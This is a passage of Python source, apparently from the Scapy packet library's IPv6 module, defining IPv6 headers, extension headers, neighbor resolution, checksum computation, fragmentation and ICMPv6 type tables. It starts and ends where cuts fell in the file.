conf.netcache.new_cache("in6_neighbor", 120) def neighsol(addr, src, iface, timeout=1, chainCC=0): """ Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an answer is 1 second. If no answer is gathered, None is returned. Else, the answer is returned (ethernet frame). """ nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) d = inet_ntop(socket.AF_INET6, nsma) dm = in6_getnsmac(nsma) p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255) p /= ICMPv6ND_NS(tgt=addr) p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, chainCC=chainCC) return res def getmacbyip6(ip6, chainCC=0): """ Returns the mac address to be used for provided 'ip6' peer. neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed) """ if in6_ismaddr(ip6): # Multicast mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) return mac iff,a,nh = conf.route6.route(ip6, dev=conf.iface6) if iff == LOOPBACK_NAME: return "ff:ff:ff:ff:ff:ff" if nh != '::': ip6 = nh # Found next hop mac = conf.netcache.in6_neighbor.get(ip6) if mac: return mac res = neighsol(ip6, a, iff, chainCC=chainCC) if res is not None: if ICMPv6NDOptDstLLAddr in res: mac = res[ICMPv6NDOptDstLLAddr].lladdr else: mac = res.src conf.netcache.in6_neighbor[ip6] = mac return mac return None ############################################################################# ############################################################################# ### IPv6 addresses manipulation routines ### ############################################################################# ############################################################################# class Net6(Gen): # syntax ex. fec0::/126 """Generate a list of IPv6s from a network address or a name""" name = "ipv6" ipaddress = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") def __init__(self, net): self.repr = net tmp = net.split('/')+["128"] if not self.ipaddress.match(net): tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] netmask = int(tmp[1]) self.net = inet_pton(socket.AF_INET6, tmp[0]) self.mask = in6_cidr2mask(netmask) self.plen = netmask def __iter__(self): def m8(i): if i % 8 == 0: return i tuple = filter(lambda x: m8(x), xrange(8, 129)) a = in6_and(self.net, self.mask) tmp = map(lambda x: x, struct.unpack('16B', a)) def parse_digit(a, netmask): netmask = min(8,max(netmask,0)) a = (int(a) & (0xffL<<netmask),(int(a) | (0xffL>>(8-netmask)))+1) return a self.parsed = map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple)) def rec(n, l): if n and n % 2 == 0: sep = ':' else: sep = '' if n == 16: return l else: ll = [] for i in xrange(*self.parsed[n]): for y in l: ll += [y+sep+'%.2x'%i] return rec(n+1, ll) return iter(rec(0, [''])) def __repr__(self): return "Net6(%r)" % self.repr ############################################################################# ############################################################################# ### IPv6 Class ### ############################################################################# ############################################################################# class IP6Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): if type(x) is str: try: x = in6_ptop(x) except socket.error: x = Net6(x) elif type(x) is list: x = map(Net6, x) return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, x) def m2i(self, pkt, x): return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): if x is None: return self.i2h(pkt,x) elif not isinstance(x, Net6) and not type(x) is list: if in6_isaddrTeredo(x): # print Teredo info server, flag, maddr, mport = teredoAddrExtractInfo(x) return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport) elif in6_isaddr6to4(x): # print encapsulated address vaddr = in6_6to4ExtractAddr(x) return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) return self.i2h(pkt, x) # No specific information to return def randval(self): return RandIP6() class SourceIP6Field(IP6Field): __slots__ = ["dstname"] def __init__(self, name, dstname): IP6Field.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) iff,x,nh = conf.route6.route(dst) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): r = map(conf.route6.route, dst) r.sort() if r[0] == r[-1]: x=r[0][1] else: warning("More than one possible route for %s"%repr(dst)) return None else: iff,x,nh = conf.route6.route(dst) return IP6Field.i2h(self, pkt, x) class DestIP6Field(IP6Field, DestField): bindings = {} def __init__(self, name, default): IP6Field.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IP6Field.i2h(self, pkt, x) ipv6nh = { 0:"Hop-by-Hop Option Header", 4:"IP", 6:"TCP", 17:"UDP", 41:"IPv6", 43:"Routing Header", 44:"Fragment Header", 47:"GRE", 50:"ESP Header", 51:"AH Header", 58:"ICMPv6", 59:"No Next Header", 60:"Destination Option Header", 132:"SCTP", 135:"Mobility Header"} ipv6nhcls = { 0: "IPv6ExtHdrHopByHop", 4: "IP", 6: "TCP", 17: "UDP", 43: "IPv6ExtHdrRouting", 44: "IPv6ExtHdrFragment", #50: "IPv6ExtHrESP", #51: "IPv6ExtHdrAH", 58: "ICMPv6Unknown", 59: "Raw", 60: "IPv6ExtHdrDestOpt" } class IP6ListField(StrField): __slots__ = ["count_from", "length_from"] islist = 1 def __init__(self, name, default, count_from=None, length_from=None): if default is None: default = [] StrField.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2len(self, pkt, i): return 16*len(i) def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) lst = [] ret = "" remain = s if l is not None: remain,ret = s[:l],s[l:] while remain: if c is not None: if c <= 0: break c -= 1 addr = inet_ntop(socket.AF_INET6, remain[:16]) lst.append(addr) remain = remain[16:] return remain+ret,lst def i2m(self, pkt, x): s = '' for y in x: try: y = inet_pton(socket.AF_INET6, y) except: y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] y = inet_pton(socket.AF_INET6, y) s += y return s def i2repr(self,pkt,x): s = [] if x == None: return "[]" for y in x: s.append('%s' % y) return "[ %s ]" % (", ".join(s)) class _IPv6GuessPayload: name = "Dummy class that implements guess_payload_class() for IPv6" def default_payload_class(self,p): if self.nh == 58: # ICMPv6 t = ord(p[0]) if len(p) > 2 and t == 139 or t == 140: # Node Info Query return _niquery_guesser(p) if len(p) >= icmp6typesminhdrlen.get(t, sys.maxint): # Other ICMPv6 messages return get_cls(icmp6typescls.get(t,"Raw"), "Raw") return Raw elif self.nh == 135 and len(p) > 3: # Mobile IPv6 return _mip6_mhtype2cls.get(ord(p[2]), MIP6MH_Generic) else: return get_cls(ipv6nhcls.get(self.nh,"Raw"), "Raw") class IPv6(_IPv6GuessPayload, Packet, IPTools): name = "IPv6" fields_desc = [ BitField("version" , 6 , 4), BitField("tc", 0, 8), #TODO: IPv6, ByteField ? BitField("fl", 0, 20), ShortField("plen", None), ByteEnumField("nh", 59, ipv6nh), ByteField("hlim", 64), SourceIP6Field("src", "dst"), # dst is for src @ selection DestIP6Field("dst", "::1") ] def route(self): dst = self.dst if isinstance(dst,Gen): dst = iter(dst).next() return conf.route6.route(dst) def mysummary(self): return "%s > %s (%i)" % (self.src,self.dst, self.nh) def post_build(self, p, pay): p += pay if self.plen is None: l = len(p) - 40 p = p[:4]+struct.pack("!H", l)+p[6:] return p def extract_padding(self, s): l = self.plen return s[:l], s[l:] def hashret(self): if self.nh == 58 and isinstance(self.payload, _ICMPv6): if self.payload.type < 128: return self.payload.payload.hashret() elif (self.payload.type in [133,134,135,136,144,145]): return struct.pack("B", self.nh)+self.payload.hashret() nh = self.nh sd = self.dst ss = self.src if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): # With routing header, the destination is the last # address of the IPv6 list if segleft > 0 nh = self.payload.nh try: sd = self.addresses[-1] except IndexError: sd = '::1' # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # could be anything from the original list ... if 1: sd = inet_pton(socket.AF_INET6, sd) for a in self.addresses: a = inet_pton(socket.AF_INET6, a) sd = strxor(sd, a) sd = inet_ntop(socket.AF_INET6, sd) if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): nh = self.payload.nh if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): nh = self.payload.nh if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): foundhao = None for o in self.payload.options: if isinstance(o, HAO): foundhao = o if foundhao: nh = self.payload.nh # XXX what if another extension follows ? ss = foundhao.hoa if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): sd = inet_pton(socket.AF_INET6, sd) ss = inet_pton(socket.AF_INET6, self.src) return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() else: return struct.pack("B", nh)+self.payload.hashret() def answers(self, other): if not isinstance(other, IPv6): # self is reply, other is request return False if conf.checkIPaddr: ss = inet_pton(socket.AF_INET6, self.src) sd = inet_pton(socket.AF_INET6, self.dst) os = inet_pton(socket.AF_INET6, other.src) od = inet_pton(socket.AF_INET6, other.dst) # request was sent to a multicast address (other.dst) # Check reply destination addr matches request source addr (i.e # sd == os) except when reply is multicasted too # XXX test mcast scope matching ? if in6_ismaddr(other.dst): if in6_ismaddr(self.dst): if ((od == sd) or (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): return self.payload.answers(other.payload) return False if (os == sd): return self.payload.answers(other.payload) return False elif (sd != os): # or ss != od): <- removed for ICMP errors return False if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # ICMPv6 Error message -> generated by IPv6 packet # Note : at the moment, we jump the ICMPv6 specific class # to call answers() method of erroneous packet (over # initial packet). There can be cases where an ICMPv6 error # class could implement a specific answers method that perform # a specific task. Currently, don't see any use ... return self.payload.payload.answers(other) elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): return self.payload.answers(other.payload.payload) elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): return self.payload.answers(other.payload.payload) elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): return self.payload.payload.answers(other.payload.payload) elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance return self.payload.payload.answers(other.payload) else: if (self.nh != other.nh): return False return self.payload.answers(other.payload) conf.neighbor.register_l3(Ether, IPv6, lambda l2,l3: getmacbyip6(l3.dst)) class IPerror6(IPv6): name = "IPv6 in ICMPv6" def answers(self, other): if not isinstance(other, IPv6): return False sd = inet_pton(socket.AF_INET6, self.dst) ss = inet_pton(socket.AF_INET6, self.src) od = inet_pton(socket.AF_INET6, other.dst) os = inet_pton(socket.AF_INET6, other.src) # Make sure that the ICMPv6 error is related to the packet scapy sent if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: # find upper layer for self (possible citation) selfup = self.payload while selfup is not None and isinstance(selfup, _IPv6ExtHdr): selfup = selfup.payload # find upper layer for other (initial packet). Also look for RH otherup = other.payload request_has_rh = False while otherup is not None and isinstance(otherup, _IPv6ExtHdr): if isinstance(otherup, IPv6ExtHdrRouting): request_has_rh = True otherup = otherup.payload if ((ss == os and sd == od) or # <- Basic case (ss == os and request_has_rh)): # <- Request has a RH : # don't check dst address # Let's deal with possible MSS Clamping if (isinstance(selfup, TCP) and isinstance(otherup, TCP) and selfup.options != otherup.options): # seems clamped # Save fields modified by MSS clamping old_otherup_opts = otherup.options old_otherup_cksum = otherup.chksum old_otherup_dataofs = otherup.dataofs old_selfup_opts = selfup.options old_selfup_cksum = selfup.chksum old_selfup_dataofs = selfup.dataofs # Nullify them otherup.options = [] otherup.chksum = 0 otherup.dataofs = 0 selfup.options = [] selfup.chksum = 0 selfup.dataofs = 0 # Test it and save result s1 = str(selfup) s2 = str(otherup) l = min(len(s1), len(s2)) res = s1[:l] == s2[:l] # recall saved values otherup.options = old_otherup_opts otherup.chksum = old_otherup_cksum otherup.dataofs = old_otherup_dataofs selfup.options = old_selfup_opts selfup.chksum = old_selfup_cksum selfup.dataofs = old_selfup_dataofs return res s1 = str(selfup) s2 = str(otherup) l = min(len(s1), len(s2)) return s1[:l] == s2[:l] return False def mysummary(self): return Packet.mysummary(self) ############################################################################# ############################################################################# ### Upper Layer Checksum computation ### ############################################################################# ############################################################################# class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation name = "Pseudo IPv6 Header" fields_desc = [ IP6Field("src", "::"), IP6Field("dst", "::"), ShortField("uplen", None), BitField("zero", 0, 24), ByteField("nh", 0) ] def in6_chksum(nh, u, p): """ Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) - 'p' : the payload of the upper layer provided as a string Functions operate by filling a pseudo header class instance (PseudoIPv6) with - Next Header value - the address of _final_ destination (if some Routing Header with non segleft field is present in underlayer classes, last address is used.) - the address of _real_ source (basically the source address of an IPv6 class instance available in the underlayer or the source address in HAO option if some Destination Option header found in underlayer includes this option). - the length is the length of provided payload string ('p') """ ph6 = PseudoIPv6() ph6.nh = nh rthdr = 0 hahdr = 0 final_dest_addr_found = 0 while u != None and not isinstance(u, IPv6): if (isinstance(u, IPv6ExtHdrRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[-1] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and isinstance(u.options[0], HAO)): hahdr = u.options[0].hoa u = u.underlayer if u is None: warning("No IPv6 underlayer to compute checksum. Leaving null.") return 0 if hahdr: ph6.src = hahdr else: ph6.src = u.src if rthdr: ph6.dst = rthdr else: ph6.dst = u.dst ph6.uplen = len(p) ph6s = str(ph6) return checksum(ph6s+p) ############################################################################# ############################################################################# ### Extension Headers ### ############################################################################# ############################################################################# # Inherited by all extension header classes class _IPv6ExtHdr(_IPv6GuessPayload, Packet): name = 'Abstract IPV6 Option Header' aliastypes = [IPv6, IPerror6] # TODO ... #################### IPv6 options for Extension Headers ##################### _hbhopts = { 0x00: "Pad1", 0x01: "PadN", 0x04: "Tunnel Encapsulation Limit", 0x05: "Router Alert", 0x06: "Quick-Start", 0xc2: "Jumbo Payload", 0xc9: "Home Address Option" } class _OTypeField(ByteEnumField): """ Modified BytEnumField that displays information regarding the IPv6 option based on its option type value (What should be done by nodes that process the option if they do not understand it ...) It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options """ pol = {0x00: "00: skip", 0x40: "01: discard", 0x80: "10: discard+ICMP", 0xC0: "11: discard+ICMP not mcast"} enroutechange = {0x00: "0: Don't change en-route", 0x20: "1: May change en-route" } def i2repr(self, pkt, x): s = self.i2s.get(x, repr(x)) polstr = self.pol[(x & 0xC0)] enroutechangestr = self.enroutechange[(x & 0x20)] return "%s [%s, %s]" % (s, polstr, enroutechangestr) class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option name = "Scapy6 Unknown Option" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] def alignment_delta(self, curpos): # By default, no alignment requirement """ As specified in section 4.2 of RFC 2460, every options has an alignment requirement ususally expressed xn+y, meaning the Option Type must appear at an integer multiple of x octest from the start of the header, plus y octet. That function is provided the current position from the start of the header and returns required padding length. """ return 0 class Pad1(Packet): # IPv6 Hop-By-Hop Option name = "Pad1" fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ] def alignment_delta(self, curpos): # No alignment requirement return 0 class PadN(Packet): # IPv6 Hop-By-Hop Option name = "PadN" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # No alignment requirement return 0 class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option name = "Router Alert" fields_desc = [_OTypeField("otype", 0x05, _hbhopts), ByteField("optlen", 2), ShortEnumField("value", None, { 0: "Datagram contains a MLD message", 1: "Datagram contains RSVP message", 2: "Datagram contains an Active Network message", 68: "NSIS NATFW NSLP", 69: "MPLS OAM", 65535: "Reserved" })] # TODO : Check IANA has not defined new values for value field of RouterAlertOption # TODO : Now that we have that option, we should do something in MLD class that need it # TODO : IANA has defined ranges of values which can't be easily represented here. # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 ; y = 0 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class Jumbo(Packet): # IPv6 Hop-By-Hop Option name = "Jumbo Payload" fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), ByteField("optlen", 4), IntField("jumboplen", None) ] def alignment_delta(self, curpos): # alignment requirement : 4n+2 x = 4 ; y = 2 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class HAO(Packet): # IPv6 Destination Options Header Option name = "Home Address Option" fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), ByteField("optlen", 16), IP6Field("hoa", "::") ] def alignment_delta(self, curpos): # alignment requirement : 8n+6 x = 8 ; y = 6 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta _hbhoptcls = { 0x00: Pad1, 0x01: PadN, 0x05: RouterAlert, 0xC2: Jumbo, 0xC9: HAO } ######################## Hop-by-Hop Extension Header ######################## class _HopByHopOptionsField(PacketListField): __slots__ = ["curpos"] def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def i2len(self, pkt, i): l = len(self.i2m(pkt, i)) return l def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) opt = [] ret = "" x = s if l is not None: x,ret = s[:l],s[l:] while x: if c is not None: if c <= 0: break c -= 1 o = ord(x[0]) # Option type cls = self.cls if _hbhoptcls.has_key(o): cls = _hbhoptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, conf.raw_layer): x = op.payload.load del(op.payload) else: x = "" return x+ret,opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return "".join(map(str, x)) curpos = self.curpos s = "" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) pstr = str(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class _PhantomAutoPadField(ByteField): def addfield(self, pkt, s, val): return s def getfield(self, pkt, s): return s, 1 def i2repr(self, pkt, x): if x: return "On" return "Off" class IPv6ExtHdrHopByHop(_IPv6ExtHdr): name = "IPv6 Extension Header - Hop-by-Hop Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)/8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 0 }} ######################## Destination Option Header ########################## class IPv6ExtHdrDestOpt(_IPv6ExtHdr): name = "IPv6 Extension Header - Destination Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)/8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 60 }} ############################# Routing Header ################################ class IPv6ExtHdrRouting(_IPv6ExtHdr): name = "IPv6 Option Header Routing" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, count_of="addresses", fmt="B", adjust = lambda pkt,x:2*x), # in 8 bytes blocks ByteField("type", 0), ByteField("segleft", None), BitField("reserved", 0, 32), # There is meaning in this field ... IP6ListField("addresses", [], length_from = lambda pkt: 8*pkt.len)] overload_fields = {IPv6: { "nh": 43 }} def post_build(self, pkt, pay): if self.segleft is None: pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:] return _IPv6ExtHdr.post_build(self, pkt, pay) ########################### Fragmentation Header ############################ class IPv6ExtHdrFragment(_IPv6ExtHdr): name = "IPv6 Extension Header - Fragmentation header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), BitField("res1", 0, 8), BitField("offset", 0, 13), BitField("res2", 0, 2), BitField("m", 0, 1), IntField("id", None) ] overload_fields = {IPv6: { "nh": 44 }} def defragment6(pktlist): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ l = filter(lambda x: IPv6ExtHdrFragment in x, pktlist) # remove non fragments if not l: return [] id = l[0][IPv6ExtHdrFragment].id llen = len(l) l = filter(lambda x: x[IPv6ExtHdrFragment].id == id, l) if len(l) != llen: warning("defragment6: some fragmented packets have been removed from list") llen = len(l) # reorder fragments i = 0 res = [] while l: min_pos = 0 min_offset = l[0][IPv6ExtHdrFragment].offset for p in l: cur_offset = p[IPv6ExtHdrFragment].offset if cur_offset < min_offset: min_pos = 0 min_offset = cur_offset res.append(l[min_pos]) del(l[min_pos]) # regenerate the fragmentable part fragmentable = "" for p in res: q=p[IPv6ExtHdrFragment] offset = 8*q.offset if offset != len(fragmentable): warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) fragmentable += "X"*(offset - len(fragmentable)) fragmentable += str(q.payload) # Regenerate the unfragmentable part. q = res[0] nh = q[IPv6ExtHdrFragment].nh q[IPv6ExtHdrFragment].underlayer.nh = nh del q[IPv6ExtHdrFragment].underlayer.payload q /= conf.raw_layer(load=fragmentable) return IPv6(str(q)) def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result list. """ pkt = pkt.copy() if not IPv6ExtHdrFragment in pkt: # TODO : automatically add a fragment before upper Layer # at the moment, we do nothing and return initial packet # as single element of a list return [pkt] # If the payload is bigger than 65535, a Jumbo payload must be used, as # an IPv6 packet can't be bigger than 65535 bytes. if len(str(pkt[IPv6ExtHdrFragment])) > 65535: warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") return [] s = str(pkt) # for instantiation to get upper layer checksum right if len(s) <= fragSize: return [pkt] # Fragmentable part : fake IPv6 for Fragmentable part length computation fragPart = pkt[IPv6ExtHdrFragment].payload tmp = str(IPv6(src="::1", dst="::1")/fragPart) fragPartLen = len(tmp) - 40 # basic IPv6 header length fragPartStr = s[-fragPartLen:] # Grab Next Header for use in Fragment Header nh = pkt[IPv6ExtHdrFragment].nh # Keep fragment header fragHeader = pkt[IPv6ExtHdrFragment] del fragHeader.payload # detach payload # Unfragmentable Part unfragPartLen = len(s) - fragPartLen - 8 unfragPart = pkt del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload # Cut the fragmentable part to fit fragSize. Inner fragments have # a length that is an integer multiple of 8 octets. last Frag MTU # can be anything below MTU lastFragSize = fragSize - unfragPartLen - 8 innerFragSize = lastFragSize - (lastFragSize % 8) if lastFragSize <= 0 or innerFragSize == 0: warning("Provided fragment size value is too low. " + "Should be more than %d" % (unfragPartLen + 8)) return [unfragPart/fragHeader/fragPart] remain = fragPartStr res = [] fragOffset = 0 # offset, incremeted during creation fragId = random.randint(0,0xffffffff) # random id ... if fragHeader.id is not None: # ... except id provided by user fragId = fragHeader.id fragHeader.m = 1 fragHeader.id = fragId fragHeader.nh = nh # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... while True: if (len(remain) > lastFragSize): tmp = remain[:innerFragSize] remain = remain[innerFragSize:] fragHeader.offset = fragOffset # update offset fragOffset += (innerFragSize / 8) # compute new one if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp) res.append(tempo) else: fragHeader.offset = fragOffset # update offSet fragHeader.m = 0 if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/conf.raw_layer(load=remain) res.append(tempo) break return res ############################### AH Header ################################### # class _AHFieldLenField(FieldLenField): # def getfield(self, pkt, s): # l = getattr(pkt, self.fld) # l = (l*8)-self.shift # i = self.m2i(pkt, s[:l]) # return s[l:],i # class _AHICVStrLenField(StrLenField): # def i2len(self, pkt, x): # class IPv6ExtHdrAH(_IPv6ExtHdr): # name = "IPv6 Extension Header - AH" # fields_desc = [ ByteEnumField("nh", 59, ipv6nh), # _AHFieldLenField("len", None, "icv"), # ShortField("res", 0), # IntField("spi", 0), # IntField("sn", 0), # _AHICVStrLenField("icv", None, "len", shift=2) ] # overload_fields = {IPv6: { "nh": 51 }} # def post_build(self, pkt, pay): # if self.len is None: # pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:] # if self.segleft is None: # pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:] # return _IPv6ExtHdr.post_build(self, pkt, pay) ############################### ESP Header ################################## # class IPv6ExtHdrESP(_IPv6extHdr): # name = "IPv6 Extension Header - ESP" # fields_desc = [ IntField("spi", 0), # IntField("sn", 0), # # there is things to extract from IKE work # ] # overloads_fields = {IPv6: { "nh": 50 }} ############################################################################# ############################################################################# ### ICMPv6* Classes ### ############################################################################# ############################################################################# icmp6typescls = { 1: "ICMPv6DestUnreach", 2: "ICMPv6PacketTooBig", 3: "ICMPv6TimeExceeded", 4: "ICMPv6ParamProblem", 128: "ICMPv6EchoRequest", 129: "ICMPv6EchoReply", 130: "ICMPv6MLQuery", 131: "ICMPv6MLReport", 132: "ICMPv6MLDone", 133: "ICMPv6ND_RS", 134: "ICMPv6ND_RA", 135: "ICMPv6ND_NS", 136: "ICMPv6ND_NA", 137: "ICMPv6ND_Redirect", #138: Do Me - RFC 2894 - Seems painful 139: "ICMPv6NIQuery", 140: "ICMPv6NIReply", 141: "ICMPv6ND_INDSol", 142: "ICMPv6ND_INDAdv", #143: Do Me - RFC 3810 144: "ICMPv6HAADRequest", 145: "ICMPv6HAADReply", 146: "ICMPv6MPSol", 147: "ICMPv6MPAdv", #148: Do Me - SEND related - RFC 3971 #149: Do Me - SEND related - RFC 3971 151: "ICMPv6MRD_Advertisement", 152: "ICMPv6MRD_Solicitation", 153: "ICMPv6MRD_Termination", } icmp6typesminhdrlen = { 1: 8, 2: 8, 3: 8, 4: 8, 128: 8, 129: 8, 130: 24, 131: 24, 132: 24, 133: 8, 134: 16, 135: 24, 136: 24, 137: 40, #139: #140 141: 8, 142: 8, 144: 8, 145: 8, 146: 8, 147: 8, 151: 8, 152: 4, 153: 4 } icmp6types = { 1 : "Destination unreachable", 2 : "Packet too big", 3 : "Time exceeded", 4 : "Parameter problem", 100 : "Private Experimentation", 101 : "Private Experimentation", 128 : "Echo Request", 129 : "Echo Reply", 130 : "MLD Query", 131 : "MLD Report", 132 : "MLD Done", 133 : "Router Solicitation", 134 : "Router Advertisement", 135 : "Neighbor Solicitation", 136 : "Neighbor Advertisement", 137 : "Redirect Message", 138 : "Router Renumbering", 139 : "ICMP Node Information Query", 140 : "ICMP Node Information Response", 141 : "Inverse Neighbor Discovery Solicitation Message", 142 : "Inverse Neighbor Discovery Advertisement Message", 143 : "Version 2 Multicast Listener Report", 144 : "Home Agent Address Discovery Request Message", 145 : "Home Agent Address Discovery Reply Message", 146 : "Mobile Prefix Solicitation", 147 : "Mobile Prefix Advertisement", 148 : "Certification Path Solicitation", 149 : "Certification Path Advertisement", 151 : "Multicast Router Advertisement", 152 : "Multicast Router Solicitation", 153 : "Multicast Router Termination", 200 : "Private Experimentation", 201 : "Private Experimentation" } class _ICMPv6(Packet): name = "ICMPv6 dummy class" overload_fields = {IPv6: {"nh": 58}} def post_build(self, p, pay): p += pay if self.cksum == None: chksum = in6_chksum(58, self.underlayer, p) p = p[:2]+struct.pack("!H", chksum)+p[4:] return p def hashret(self): return self.payload.hashret() def answers(self, other): # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... if (isinstance(self.underlayer, IPerror6) or isinstance(self.underlayer, _IPv6ExtHdr) and isinstance(other, _ICMPv6)): if not ((self.type == other.type) and (self.code == other.code)): return 0 return 1 return 0 class _ICMPv6Error(_ICMPv6): name = "ICMPv6 errors dummy class" def guess_payload_class(self,p): return IPerror6 class ICMPv6Unknown(_ICMPv6): name = "Scapy6 ICMPv6 fallback class" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteField("code",0), XShortField("cksum", None), StrField("msgbody", "")] ################################## RFC 2460 ################################# class ICMPv6DestUnreach(_ICMPv6Error): name = 